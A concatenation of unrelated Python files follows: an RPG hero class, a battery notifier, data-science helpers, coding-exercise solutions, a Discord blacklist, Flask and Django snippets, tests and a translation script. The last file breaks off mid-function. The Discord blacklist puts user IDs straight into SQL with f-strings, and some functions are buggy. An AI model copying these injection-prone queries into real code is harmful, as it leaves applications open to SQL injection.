# coding=utf-8
from Character import *

class Hero(Character):
    #hero constructor defining all basic stats without equipements
    def __init__(self):
        Character.__init__(self)
        self.name = ""
        self.className = ""
        self.heroLevel = 1
        self.nextLevelXP = 1
        self.XP = 0
        self.HP = 50
        self.maxHP = 50
        self.MP = 100
        self.minDamage = 5
        self.maxDamage = 10
        self.armor = 5
        self.number_of_hp_pots = 1
        self.number_of_mp_pots = 1
        self.restLeft = 1
        self.inventory.equipement.first_stuff(self.heroLevel)
        self.stats_improve_from_stuff()
        self.potionUsed = 0
        self.mobKilled = 0

    #Setters to changer properly the value of an attributes
    def setHp(self):
        self.HP = self.maxHP

    def setName(self, name):
        self.name = name

    def setClass(self, classe):
        if classe == 1:
            self.className = "Naruto Runner"
            print("# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # ")
            print("You're a professionel in naruto running, your goal is to pearce the defense of the zone 51")
            print("         Use your shuriken and run with your arms in the back floating in the air !")
            print("# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # \n")
        elif classe == 2:
            self.className = "Berzerk"
            print("# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #")
            print("You're the strongest class you have to contain the offensive of the zone 51")
            print("     Use your big belly to protect the stone thrower behind you !")
            print("# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n")
        elif classe == 3:
            self.className = "Stone Thrower"
            print("# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #")
            print("You're the worst class unfortunately you choose the skinny one who just throw little stone...")
            print("                                 Try to not die...")
            print("# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n")
        else:
            self.className = "noob"
            print("# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #")
            print("You are not able to choose between 1, 2 or 3, so for the rest of the adventure you'are a fucking noob")
            print("# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n")

    #Getters to acces specific attributes
    def get_hp(self):
        return self.HP

    def get_lvl(self):
        return self.heroLevel

    #Display all the hero informations
    def displayStat(self):
        print("#   #    #   #   #   #   #   #   #    #   #   #   #  ")
        print("| Name : " + str(self.name) + " | Class : " + str(self.className) + " | Level : " + str(self.heroLevel) + " |")
        print("| HP : " + str(self.HP) + "/" + str(self.maxHP) + " | MP : " + str(self.MP) + " | Armor : " + str(self.armor) + " |")
        print("| Damage Range : " + str(self.minDamage) + " - " + str(self.maxDamage) + " |")
        print("| Next level XP needed : " + str(self.nextLevelXP) + " | Actual XP : " + str(self.XP) + " |")
        print("| HP potion : " + str(self.number_of_hp_pots) + " | MP potion : " + str(self.number_of_mp_pots) + " |")
        print("| Gold : " + str(self.inventory.getGold()) + " |")
        print("#   #    #   #   #   #   #   #   #    #   #   #   #  ")

    #Display the 3 skills available
    def display_skill_available(self):
        print("             You have 3 different skill :                ")
        print(" (1) skill 1 : Deal hight damage to an enemy : cost 20 MP")
        print(" (2) skill 2 : Give back 20% of hero's life  : cost 30 MP")
        print(" (3) skill 3 : Reduce enemy's attack by 25%  : cost 20 MP")

    #Check if a spell can be cast depending on the MP available
    def mana_available_check(self, spell):
        if spell == 1:
            if self.MP >= 20:
                return True
            else:
                return False
        elif spell == 2:
            if self.MP >= 30:
                return True
            else:
                False
        elif spell == 3:
            if self.MP >= 15:
                return True
            else:
                return False

    #Change hero stats by adding the bonus stats from equipements to hero stats
    def stats_improve_from_stuff(self):
        if self.HP == 50:
            self.HP = self.maxHP
        self.maxHP += self.inventory.equipement.stuff_HP()
        self.HP += self.inventory.equipement.stuff_HP()
        self.MP += self.inventory.equipement.stuff_MP()
        self.minDamage += self.inventory.equipement.stuff_min_damage()
        self.maxDamage += self.inventory.equipement.stuff_max_damage()
        self.armor += self.inventory.equipement.stuff_armor()

    #Improve the hero stats after he level up by augmenting his previous stats
    def stats_improve_from_level_up(self):
        self.maxHP += 2 * self.heroLevel
        self.HP = self.maxHP #fully healed
        self.MP += 2 * self.heroLevel
        self.minDamage += 2 * self.heroLevel
        self.maxDamage += 2 * self.heroLevel
        self.armor += 2*self.heroLevel

    #check if the player have enought xp to reach an other level
    def check_for_level_up(self):
        while self.XP >= self.nextLevelXP:
            self.heroLevel += 1
            self.MP += 10
            self.XP -= self.nextLevelXP
            self.nextLevelXP += 2
            self.stats_improve_from_level_up()
            print("#####################")
            print("   YOU LEVEL UP !!!  ")
            print("#####################")

    #basic attack that inflict normal damage
    def basic_attack(self, enemy):
        damage = randint(self.minDamage, self.maxDamage)
        print("You hit the enemy and deal : "+ str(damage) + " damages.")
        enemy.attack_enemy(damage)

    #permit the player to receive damage form enemies
    def receive_damage(self, value):
        self.HP -= value

    def magic_skill_1(self, enemy): #Like the basic attack, but strongest
        damage = 2 * (randint(self.minDamage, self.maxDamage))
        print("You strongly hit the enemy and deal :" + str(damage) + " damages.")
        enemy.attack_enemy(damage)
        self.MP -= 20

    # Give back 20% of the hero max HP
    def magic_skill_2(self):
        heal = self.maxHP * 0.20
        if self.HP + heal >= self.maxHP:
            print("You are fully healed !")
            self.HP = self.maxHP
        else:
            print("After your healing incantation ou have now : " + str(self.HP) + " HP")
            self.HP += heal
        self.MP -= 30

    # Reduce the monster attack by 20%
    def magic_skill_3(self, enemy):
        value = 2 * self.heroLevel
        enemy.reduce_enemy_attack(value)
        self.MP -= 20

    #Present the equipement available in the inventory and the one equiped
    #The result of this fonction depend on the peace of equipment store in the inventory
    def change_equipement(self):
        loot = self.inventory.equipement.loot
        weapon = self.inventory.equipement.weapon
        jewel = self.inventory.equipement.jewel
        head = self.inventory.equipement.head
        chest = self.inventory.equipement.chest
        legs = self.inventory.equipement.legs
        shoes = self.inventory.equipement.shoes
        self.displayStat()
        print("There are", len(loot), "peace of equipment in your inventory, let's take a look at it :")
        for i in range(len(loot)):
            item = loot[i]
            if isinstance(loot[i], Weapon):
                print("Object " + str(i + 1) + " : Weapon ")
                print("Weapon equiped : ")
                weapon.show_stat_object()
                print("Weapon from the inventory : ")
                item.show_stat_object()
                choice = self.armor_change()
                if int(choice) == 1:
                    self.swap_stuff(weapon, item)
                else:
                    print("Don't change the weapon !")

            elif isinstance(loot[i], Jewel):
                print("Object " + str(i + 1) + " : Jewel ")
                print("Jewel equiped : ")
                jewel.show_stat_object()
                print("Jewel from the inventory : ")
                item.show_stat_object()
                choice = self.armor_change()
                if int(choice) == 1:
                    self.swap_stuff(jewel, item)
                else:
                    print("Don't change the jewel !")

            elif isinstance(loot[i], Head):
                print("Object " + str(i + 1) + " : Head ")
                print("Head equiped : ")
                head.show_stat_object()
                print("Head from the inventory : ")
                item.show_stat_object()
                choice = self.armor_change()
                if int(choice) == 1:
                    self.swap_stuff(head, item)
                else:
                    print("Don't change the head !")

            elif isinstance(loot[i], Chest):
                print("Object " + str(i + 1) + " : Chest ")
                print("Chest equiped : ")
                chest.show_stat_object()
                print("Chest from the inventory: ")
                item.show_stat_object()
                choice = self.armor_change()
                if int(choice) == 1:
                    self.swap_stuff(chest, item)
                else:
                    print("Don't change the chest !")

            elif isinstance(loot[i], Legs):
                print("Object " + str(i + 1) + " : Legs ")
                print("Legs equiped : ")
                legs.show_stat_object()
                print("Legs from the inventory")
                item.show_stat_object()
                choice = self.armor_change()
                if int(choice) == 1:
                    self.swap_stuff(legs, item)
                else:
                    print("Don't change the legs !")

            elif isinstance(loot[i], Shoes):
                print("Object " + str(i + 1) + " : SHoes ")
                print("Shoes equiped : ")
                shoes.show_stat_object()
                print("shoes from the inventory : ")
                item.show_stat_object()
                choice = self.armor_change()
                if int(choice) == 1:
                    self.swap_stuff(shoes, item)
                    tmp = shoes
                    shoes = item
                    item = tmp
                else:
                    print("Don't change the shoes !")
            print("#####################")
            input("     Press enter     ")
            print("#####################")

    #Ask the player if he wants to change or not a peace of stuff
    def armor_change(self):
        print("Do you want to trade equipment 1 for equipement 2 ? ")
        print(" (1) Yes")
        print(" (2) No ")
        print("----------------------------------------------------")
        while True:
            choice = input(">> ")
            try:
                if int(choice) == 1:
                    return 1
                elif int(choice) == 2:
                    return 2

                else:
                    print("Please enter a correct value !")

            except ValueError:
                print("Please enter a correct value !")

    #Permit to change 2 peace of stuff and update the stats of the hero
    #Display also the new stats after change occured
    def swap_stuff(self, stuff_equiped, stuff_from_inventory):
        print("You succesfully change your're stuff")
        tempo = stuff_equiped
        stuff_equiped = stuff_from_inventory
        stuff_from_inventory = tempo
        self.displayStat()
        if isinstance(stuff_equiped, Weapon):
            new_min_damage = stuff_equiped.minDamage - stuff_from_inventory.minDamage
            new_max_damage = stuff_equiped.maxDamage - stuff_from_inventory.maxDamage
            self.minDamage += new_min_damage
            self.maxDamage += new_max_damage
        elif isinstance(stuff_equiped, Jewel):
            new_HP = stuff_equiped.bonusHP - stuff_from_inventory.bonusHP
            new_MP = stuff_equiped.bonusMP - stuff_from_inventory.bonusHP
            self.maxHP += new_HP
            self.MP += new_MP
        else:
            new_HP = stuff_equiped.bonusHP - stuff_from_inventory.bonusHP
            new_armor = stuff_equiped.bonusArmor - stuff_from_inventory.bonusArmor
            self.maxHP += new_HP
            self.armor += new_armor
        print("Your new stats are :")
        self.displayStat()


"""
求求你使用windows终端运行本脚本（不要用编辑器）
项目：笔记本电池助手
作者：雪中明月
日期：2022/11/21
目标：
1. 获取电池信息(done)
2. 终端输出(done)
3. ini配置文件(done)
4. log日志文件(done)
5. 分析log，生成报告
6. 图表生成
7. 图片导出
8. UI制作
"""
import psutil
from pynotifier import Notification
import time
import configparser
import os
import b_lib

# 主循环代码
if __name__ == "__main__":
    b_lib.logo()
    time.sleep(2)
    # 终端清屏
    os.system('cls')
    b_lib.init_config()
    while True:
        if input("回车以开始程序") == "":
            # 给你发个通知
            a = b_lib.send_notice()
            b_lib.clean_log()
            if not a:
                # 终端清屏
                os.system('cls')
                # 不在放电测试什么续航啊
                print("充电中 或 获取数据失败"
                      "\n即将退出. . .")
                exit()
            else:
                # 终端清屏
                os.system('cls')
                # 循环输出电池电量信息
                while True:
                    b_lib.cmd_notification()
                    a = b_lib.read_config()
                    time.sleep(int(a['sleep_time']))
        os.system('cls')


from collections import Counter

numbers_file = open("numbers.txt")
numbers_list = [x.strip() for x in numbers_file.readlines()]

output_file = open("run_result.txt", "w")

result_list = []

for (a, b) in [(x, y) for (x, y) in Counter(numbers_list).most_common(len(set(numbers_list))) if y != 1]:
	result_list.append('"%s", %d\n' % (str(a), b))

output_file.writelines(result_list)
output_file.close()
numbers_file.close()


import pandas as pd
import numpy as np
import datetime as dt
#from sklearn.preprocessing import OneHotEncoder
from sklearn.preprocessing import minmax_scale

def dates_features(df):
    '''
    Function to create new date features and delete DayOfWeek.
    Used before train/test split.
    Return a new dataframe.
    '''
    df_new = df.copy()
    #Transform Date column into Datetime object
    df_new.Date = pd.to_datetime(df_new.Date)
    #Delete DayOfWeek
    df_new = df_new.drop('DayOfWeek', axis=1)
    #Create new features
    df_new['month'] = df_new.Date.dt.month
    df_new['day_of_week'] = df_new.Date.dt.dayofweek
    #Monday is 0
    df_new['day_of_month'] = df_new.Date.dt.day
    df_new['is_monday'] = np.where(df_new['day_of_week'] == 0, 1, 0)
    df_new['is_saturday'] = np.where(df_new['day_of_week'] == 5, 1, 0)

    return df_new

def date_split_train_test(df, date_split):
    '''
    Splits the dataset in train and test based on the date_split.
    Returns df_train and df_test.
    '''
    df_train = df[df.Date < date_split]
    df_test = df[df.Date >= date_split]

    return df_train, df_test

def one_hot_encoding(df, column):
    '''
    Function to take a column and transform and one-hot encode it.
    Used before train/test split.
    Returns a dataframe with the original column removed and the new encoded columns added.
    '''

    # create dummies series
    dummies = pd.get_dummies(df.loc[:, column], prefix=str(column + ' '))
    # concat original dataframe and dummies
    df_new = pd.concat([df, dummies], axis=1)
    # remove the original column
    df_new = df_new.drop(column, axis=1)

    return df_new

def mean_encoding(df_train, df_test, column):
    '''
    Mean encoding target column with mean of Sales.
    Used after train/test split.
    Returns a new train dataframe and a new test dataframe.
    '''
    # Create a copy of the df
    df_new_train = df_train.copy()
    df_new_test = df_test.copy()
    # Init an empty dict and check for the unique values in the
    dict_values = {}
    unique_values = df_new_train.loc[:, column].unique()

    for unique in unique_values:
        dict_values[unique] = df_new_train[df_new_train.loc[:, column] == unique].Sales.mean()

    df_new_train.loc[:, column + '_mean_encoded'] = df_new_train.loc[:, column].replace(to_replace=dict_values)

    df_new_test.loc[:, column + '_mean_encoded'] = df_new_test.loc[:, column].replace(to_replace=dict_values)

    return df_new_train, df_new_test

def normalize(df_train, column):
    '''
    Normalize a column.
    Used after split.
    Returns a new dataframe.
    '''
    # Create a new dataframe
    df_new = df_train.copy()

    df_new.loc[:, column] = minmax_scale(df_new.loc[:, column])

    return df_new

def standard(df_train, column):
    '''
    Standardize a column.
    Used after split.
    Returns a new dataframe.
    '''
    # Create a new dataframe
    df_new = df_train.copy()

    df_new.loc[:, column] = scale(df_new.loc[:, column])

    return df_new


# Definition for singly-linked list.
# class ListNode:
#     def __init__(self, x):
#         self.val = x
#         self.next = None

class Solution:
    def partition(self, head, x):
        """
        :type head: ListNode
        :type x: int
        :rtype: ListNode
        """
        '''
        要把 linked list 分成兩組
        一組放比 x 小的，另一組放比 x 大的
        然後再把兩組接起來
        '''
        dummy1 = ListNode(0)
        dummy2 = ListNode(0)

        prev1 = dummy1
        prev2 = dummy2

        while head:
            if head.val < x:
                prev1.next = head
                prev1 = head
            else:
                prev2.next = head
                prev2 = head
            head = head.next

        # 跑完後 prev1 指向比 x 小的 linked list 的最後一個元素
        # prev2 指向比 x 大的 linked list 的最後一個元素
        # 所以接起來時 prev1 的下一個是第二個 linked list 的第一個元素
        # 還有要注意 prev2 要接上 None
        prev2.next = None
        prev1.next = dummy2.next

        return dummy1.next

# lintcode 96
"""
Definition of ListNode
class ListNode(object):
    def __init__(self, val, next=None):
        self.val = val
        self.next = next
"""

class Solution:
    """
    @param head: The first node of linked list
    @param x: An integer
    @return: A ListNode
    """
    def partition(self, head, x):
        # write your code here
        if head is None:
            return head

        dummy1 = ListNode(0) # < x
        dummy2 = ListNode(0) # >= x

        prev1 = dummy1
        prev2 = dummy2
        curr = head

        while curr:
            if curr.val < x:
                prev1.next = curr
                prev1 = curr
            else:
                prev2.next = curr
                prev2 = curr
            curr = curr.next

        prev1.next = dummy2.next
        prev2.next = None
        return dummy1.next


"""
Given a string A denoting a stream of lowercase alphabets.
You have to make new string B. B is formed such that we have to find first non-repeating character each time a character is inserted to the stream and append it at the end to B.
if no non-repeating character is found then append '#' at the end of B.
"""

class Queue:
    def __init__(self, size):
        self.size = size
        self.queue = [None]*self.size
        self.r, self.f = -1, -1

    def enqueue(self, val):
        if (self.f == self.r != -1) or (self.f == -1 and self.r == self.size-1):
            return "Full Queue"
        else:
            self.r = (self.r + 1)%self.size
            self.queue[self.r] = val

    def dequeue(self):
        if self.r == self.f == -1:
            return "Empty"
        else:
            self.f = (self.f + 1)%self.size
            temp = self.queue[self.f]
            if self.f == self.r:
                self.f, self.r = -1, -1
            return temp

    def front(self):
        if self.f == self.r == -1:
            return "No front"
        else:
            return self.queue[(self.f+1)%self.size]

    def notempty(self):
        if self.r == self.f == -1:
            return False
        else:
            return True

class Solution:
    def adddict(self, val, tempdict):
        if val in tempdict:
            tempdict[val]+=1
        else:
            tempdict[val] = 1

    def solve(self, A):
        B = ""
        freqdict = {}
        queue = Queue(len(A))
        for i in range(len(A)):
            queue.enqueue(A[i])
            self.adddict(A[i], freqdict)

            while queue.notempty() and freqdict[queue.front()] > 1:
                queue.dequeue()
            if not queue.notempty():
                B+= "#"
            else:
                B+= queue.front()
        return B

a = Solution()
a.solve("abcabc")


import discord
import sqlite3

class Blacklist:
    def __int__(self, bot):
        self.bot = bot

    def is_user_blacklisted(self, user_id) -> bool:
        db = sqlite3.connect('bot_db.sqlite')
        cursor = db.cursor()
        sql = (f"SELECT valid FROM blacklist WHERE blacklisted_user_id = {user_id} AND valid = 1")
        cursor.execute(sql)
        result = cursor.fetchone()
        if result is None:
            cursor.close()
            db.close()
            return False
        elif result is not None:
            cursor.close()
            db.close()
            return True

    def get_blacklist_info(self, user_id) -> [list, None]:
        db = sqlite3.connect('bot_db.sqlite')
        cursor = db.cursor()
        sql = (f"SELECT * FROM blacklist WHERE blacklisted_user_id = {user_id} AND valid = 1")
        cursor.execute(sql)
        result = cursor.fetchone()
        if result is not None:
            return result
        else:
            return None

    def insert_blacklist(self, user_id, reason, punishier_id) -> None:
        db = sqlite3.connect('bot_db.sqlite')
        cursor = db.cursor()
        sql = ("INSERT INTO blacklist(punisher_user_id,blacklisted_user_id,reason,valid) VALUES(?,?,?,?)")
        val = (punishier_id, user_id, reason, 1)
        cursor.execute(sql, val)
        db.commit()
        cursor.close()
        db.close()
        return

    def unblacklist_user(self, user_id) -> None:
        db = sqlite3.connect('bot_db.sqlite')
        cursor = db.cursor()
        sql = (f"UPDATE blacklist SET valid = 0 WHERE blacklisted_user_id = {user_id}")
        cursor.execute(sql)
        db.commit()
        cursor.close()
        db.close()
        return


from django import forms
from .models import customerModel

class ContactForm(forms.ModelForm):
    class Meta:
        model = customerModel

        # formのhtmlに表示させるフィールドを決める。複数ある時、field＝にするとエラーになる。
        fields = ('name', 'email', 'content')

        # 各ラベルのタイトルを空文字にしている。''の中に文字を入れたらラベルが表示される
        labels = {
            'name': '',
            'email': '',
            'content': '',
        }

        widgets = {
            'name': forms.TextInput(attrs={'class': 'form-control', 'placeholder': '名前'}),
            'email':forms.EmailInput(attrs={'class': 'form-control', 'placeholder': 'メールアドレス'}),
            'content':forms.Textarea(attrs={'class': 'form-control', 'placeholder': '本文'}),
        }


import requests, json
from flask import Flask, jsonify, render_template, request

app = Flask(__name__)

currentInput = ""

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/call-function", methods=["POST", "GET"])
def call_function():
    # Make the currentInput global function to store the value in Flask memory
    global currentInput

    # To get the user input, Flask requests the input field from the HTML's name attribute. A past mistake I've done was using an id attribute instead of a name attribue.
    # Request.form.get returns None if the methods are not specified.
    input1 = request.form.get("userInput")
    if input1 is not None:
        currentInput = input1.split()
        print(type(currentInput))
        # Since this method does not rely on JavaScript, Python will handle the case of user submitting whitespace
        if len(currentInput) == 0:
            currentInput = "no input submitted"
        return render_template("input1.html", message=currentInput)

    print(type(input1))

    # If input1 has no value, renders a page with message
    return render_template("input1.html", message="no input submitted")


# -*- coding: utf-8 -*-
# pylint: disable=protected-access
"""
Cell module unit tests
"""
import unittest
import unittest.mock as mock
import os
import numpy as np

from xfv.src.cell.one_dimension_enriched_cell_hansbo import OneDimensionHansboEnrichedCell
from xfv.src.cell.one_dimension_cell import OneDimensionCell
from xfv.src.data.data_container import DataContainer
from xfv.src.discontinuity.discontinuity import Discontinuity

class OneDimensionEnrichedHansboCellHydroTest(unittest.TestCase):
    """
    Unittests of the OneDimensionHansboEnrichedCell class
    """

    @classmethod
    def setUpClass(cls):
        """
        Tests setup for class
        """
        data_file_path = os.path.join(os.path.dirname(__file__),
                                      "../../../tests/0_UNITTEST/XDATA_enrichment_hydro.json")
        DataContainer(data_file_path)

    @classmethod
    def tearDownClass(cls):
        DataContainer.clear()
        print("\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ \n")

    def setUp(self):
        """
        Unit tests setup
        """
        self.my_cells = OneDimensionHansboEnrichedCell(1)
        self.my_cells._classical = np.array([False])

        self.my_cells.energy.current_value = np.array([1.e+06])
        self.my_cells.pressure.current_value = np.array([1.5e+09])
        self.my_cells.density.current_value = np.array([8000.])
        self.my_cells.pseudo.current_value = np.array([1.e+08])
        self.my_cells.sound_velocity.current_value = np.array([300.])
        self.my_cells._deviatoric_stress_current = np.array([[5., 8., 3.]])

        self.my_cells.energy.new_value = np.array([0.8e+06])
        self.my_cells.pressure.new_value = np.array([1.3e+09])
        self.my_cells.density.new_value = np.array([8020.])
        self.my_cells.pseudo.new_value = np.array([1.e+08])
        self.my_cells.sound_velocity.new_value = np.array([302.])
        self.my_cells._deviatoric_stress_new = np.array([[4., 5., 6.]])
        self.my_cells._deviatoric_strain_rate = np.array([[1., 1., 1.]])

        self.my_cells.enr_density.current_value = np.array([4000.])
        self.my_cells.enr_density.new_value = np.array([4020.])
        self.my_cells.enr_pressure.current_value = np.array([1.1e+09])
        self.my_cells.enr_pressure.new_value = np.array([1.3e+09])
        self.my_cells.enr_energy.current_value = np.array([1.e+06])
        self.my_cells.enr_energy.new_value = np.array([0.8e+06])
        self.my_cells.enr_artificial_viscosity.current_value = np.array([1.e+08])
        self.my_cells.enr_artificial_viscosity.new_value = np.array([1.e+08])
        self.my_cells.enr_sound_velocity.current_value = np.array([300.])
        self.my_cells.enr_sound_velocity.new_value = np.array([302.])
        self.my_cells._enr_deviatoric_stress_current = np.array([[3., 2., 1.], ])
        self.my_cells._enr_deviatoric_stress_new = np.array([[5., 12., 7.], ])
        self.my_cells._enr_deviatoric_stress_new = np.array([[5., 12., 7.], ])
        self.my_cells._enr_deviatoric_strain_rate = np.array([[4., 3., 8.], ])
        self.my_cells.enr_yield_stress.current_value = np.array([10.])
        self.my_cells._enr_equivalent_plastic_strain_rate = np.array([0.])
        self.my_cells._enr_stress = np.array([[0., 0., 0.]])
        self.my_cells.left_part_size.current_value = np.array([0.2])
        self.my_cells.right_part_size.current_value = np.array([0.3])
        self.my_cells.left_part_size.new_value = np.array([0.4])
        self.my_cells.right_part_size.new_value = np.array([0.6])

        # configuration d'un mock 'discontinuity'
        config = {'mask_in_nodes': np.array([True, False]),
                  'mask_out_nodes': np.array([False, True]),
                  'position_in_ruptured_element': (
                      DataContainer().material_target.failure_model.failure_treatment_value),
                  'mask_ruptured_cell': np.array([True]),
                  'ruptured_cell_id': np.array([0]),
                  'plastic_cells': np.array([False]),
                  'enr_velocity_new': np.array([[1., ], [3., ]])
                }
        self.__patcher = mock.patch('xfv.src.discontinuity.discontinuity.Discontinuity',
                             spec=Discontinuity, **config)
        self.mock_discontinuity = self.__patcher.start()

    def tearDown(self):
        self.__patcher.stop()
        return super().tearDown()

    def test_classical(self):
        """
        Test of the property classical
        """
        np.testing.assert_array_equal(self.my_cells.classical, np.zeros([1], dtype="bool"))

    def test_enriched(self):
        """
        Test of the property enriched
        """
        np.testing.assert_array_equal(self.my_cells.enriched, np.ones([1], dtype="bool"))

    @mock.patch.object(OneDimensionCell, "apply_equation_of_state",
                       spec=classmethod, new_callable=mock.MagicMock)
    @mock.patch.object(OneDimensionCell, "add_elastic_energy_method",
                       spec=classmethod, new_callable=mock.MagicMock)
    def test_compute_enriched_elements_new_pressure_without_elasticity(
            self, mock_elasto, mock_eos):  #pylint: disable=unused-argument
        """
        Test of the compute_enriched_elements_new_pressure method (Hansbo case)
        """
        # Configuration des mocks
        mock_eos.side_effect = [[self.my_cells.enr_energy.new_value,
                                 self.my_cells.enr_pressure.new_value,
                                 self.my_cells.enr_sound_velocity.new_value]]

        self.my_cells.compute_enriched_elements_new_pressure(1.)

        mock_eos.assert_any_call(
            self.my_cells, self.my_cells._target_eos,
            self.my_cells.enr_density.current_value,
            self.my_cells.enr_density.new_value,
            self.my_cells.enr_pressure.current_value,
            self.my_cells.enr_pressure.new_value,
            self.my_cells.enr_energy.current_value,
            self.my_cells.enr_energy.new_value,
            self.my_cells.enr_artificial_viscosity.current_value,
            self.my_cells.enr_sound_velocity.new_value)

if __name__ == "__main__":
    unittest.main()


import os
import nltk
import torch
import pandas as pd
import numpy as np
from torch.utils.data import Dataset, DataLoader
from tqdm import tqdm
from transformers import AutoTokenizer, AutoModelForSeq2SeqLM

folder = "nonEnglish_2023/"
os.environ['TORCH_HOME'] = os.getcwd()+'/cache'
lang_1 = 'pt'
lang_2 = 'gl'
model_name_1 = 'Helsinki-NLP/opus-mt-' + lang_1 + '-' +lang_2
model_name_2 = 'Helsinki-NLP/opus-mt-' + lang_2 + '-en'
tokenizer_1 = AutoTokenizer.from_pretrained(model_name_1, cache_dir=os.getcwd()+'/cache')
model_1 = AutoModelForSeq2SeqLM.from_pretrained(model_name_1, cache_dir=os.getcwd()+'/cache')

tokenizer_2 = AutoTokenizer.from_pretrained(model_name_2, cache_dir=os.getcwd()+'/cache')
model_2 = AutoModelForSeq2SeqLM.from_pretrained(model_name_2, cache_dir=os.getcwd()+'/cache')

df_name = "global_" + lang_1+'_sent.csv'

df = pd.read_csv(folder + df_name)
df_inter = pd.read_csv("resuslt_inter_pt_tmp.csv")
df = df.iloc[len(df_inter):].reset_index()
print((lang_1, lang_2), df_name, df.shape, (model_name_1, model_name_2))

class Datapre(Dataset):
    def __init__(self, dataframe, tokenizer, max_len):
        self.tokenizer = tokenizer
        self.df = dataframe
        self.text = self.df.text
        self.max_len = max_len
        self.label = dataframe.Id.tolist()
        # check same length
        if (len(self.label) != len(self.text)):
            print('length does not match!')

    def __len__(self):
        return len(self.text)

    def __getitem__(self, index):
        text = str(self.text[index])
        text = " ".join(text.split())
        label = self.label[index]

        inputs = self.tokenizer.encode_plus(
            text,
            max_length=self.max_len,
            pad_to_max_length=True,
        )
        ids = inputs['input_ids']
        mask = inputs['attention_mask']
        return  {
            'input_ids': torch.tensor(ids, dtype=torch.long).to(device),
            'attention_mask': torch.tensor(mask, dtype=torch.long).to(device),
        }, label

test = False
if test == True:
    df = df.iloc[:50]

# !!!!!!! important
device = 'cuda:3'
batch = 80
print(device)
model_1= torch.nn.DataParallel(model_1)
model_1.to(device)
model_1.eval()

model_2= torch.nn.DataParallel(model_2)
model_2.to(device)
model_2.eval()

params = {'batch_size': batch,
          'shuffle': False,
          'num_workers': 0}

#prepare dataset
df_ = Datapre(df, tokenizer_1, max_len = 300)
loader_ = DataLoader(df_, **params)

listoftransids = df_inter.Id.tolist()
listoftext = df_inter.text.tolist()
with torch.no_grad():
    for encoded, Ids in tqdm(loader_):
        listoftransids.extend(Ids.numpy())
        translated = model_1.module.generate(**encoded).to(device)
        translated_texts = tokenizer_1.batch_decode(translated, skip_special_tokens=True)
        listoftext.extend(translated_texts)
        if len(listoftransids) % 10000 == 0:
            print('Partly finished ',len(listoftransids))
            pd.DataFrame({'Id': listoftransids, 'text':listoftext}).to_csv(folder + 'resuslt_inter_' + lang_1 + '_tmp.csv', index= False)
pd.DataFrame({'Id': listoftransids, 'text':listoftext}).to_csv(folder + 'resuslt_inter_' + lang_1 + '.csv', index= False)
print('Intermediate Translation finished!!!')
df_inter = pd.DataFrame({'Id': listoftransids, 'text':listoftext})

df_inter_ = Datapre(df_inter, tokenizer_2, max_len = 300)
loader_2 = DataLoader(df_inter_, **params)

listoftransids = []
listoftext = []
with torch.no_grad():
    for encoded, Ids in tqdm(loader_2):
        listoftransids.extend(Ids.numpy())
        translated = model_2.module.generate(**encoded).to(device)
        translated_texts = tokenizer_2.batch_decode(translated, skip_special_tokens=True)
        listoftext.extend(translated_texts)
        if len(listoftransids) % 10000 == 0:
            print('Partly finished ',len(listoftransids))
            pd.DataFrame({'Id': listoftransids, 'text':listoftext}).to_csv(folder + 'resuslt_' + lang_2 + '_tmp.csv', index= False)

pd.DataFrame({'Id': listoftransids, 'text':listoftext}).to_csv(folder + 'resuslt_' + lang_1 + '.csv', index= False)


# 19. Faça um Programa que leia um número inteiro menor que 1000 e imprima a quantidade de centenas, dezenas e unidades do mesmo.
#Observando os termos no plural a colocação do "e", da vírgula entre outros. Exemplo:
#   326 = 3 centenas, 2 dezenas e 6 unidades
#   12 = 1 dezena e 2 unidades Testar com: 326, 300, 100, 320, 310,305, 301, 101, 311, 111, 25, 20, 10, 21, 11, 1, 7 e 16

num = int(input('Número: '))

if num > 0 and num < 1000:
    cent = num // 100
    dez = (-(cent * 100) + num) // 10
    uni = (-(cent * 100) + num) - (dez * 10)
    print(f'{ cent } centena(s), { dez } dezena(s) e { uni } unidade(s).')
else:
    print('Número Inválido!')


from pymongo import MongoClient
import pickle

client = MongoClient(host='localhost', port=27017)
db = client.coordinates
collection = db.predict

x_list = []
y_dic = {1:'C', 2:'O', 3:'L', 4:'U', 5:'M', 6:'B', 7:'I', 8:'A'}
latest = collection.find().sort([('_id', -1)]).limit(20)
for i in range(19,-1,-1):
	# x_list.extend([item['x1'], item['x2'], item['y1'], item['y2'], item['z1'], item['z2']])
	x_list.extend([latest[i]['x1']/255, latest[i]['x2']/255, latest[i]['y1']/255, latest[i]['y2']/255, latest[i]['z1']/255, latest[i]['z2']/255])

# load model and do predict
filename = 'finalized_model_6axis.sav'
loaded_model = pickle.load(open(filename, 'rb'))
result = loaded_model.predict([x_list])
print(y_dic[result[0]])


# -*- coding: utf-8 -*

import os, datetime
from flask import Flask, render_template, request, json, abort, make_response, jsonify, Blueprint, redirect, url_for, session
from flask.views import View
from flask_paginate import Pagination
from werkzeug import generate_password_hash, check_password_hash
from werkzeug.contrib.atom import AtomFeed
from flaskext.mysql import MySQL

app = Flask(__name__)
application = Flask(__name__)
mysql = MySQL()
#sess = Session()

# sql envs
app.config['MYSQL_DATABASE_USER'] = os.environ['QUOTES_DB_USER']
app.config['MYSQL_DATABASE_PASSWORD'] = os.environ['QUOTES_DB_PASS']
app.config['MYSQL_DATABASE_DB'] = os.environ['QUOTES_DB_NAME']
app.config['MYSQL_DATABASE_HOST'] = os.environ['QUOTES_DB_HOST']

mysql.init_app(app)
# mailchimp envs
mailchimp_api_key = os.environ['MAILCHIMP_API_KEY']
#upload_api_key
upload_api_key = os.environ['UPLOAD_API_KEY']

@app.route('/feed')
@app.route('/feed/')
def rss_feed():
	#get data for rss feed:
	conn = mysql.connect()
	cursor = conn.cursor()
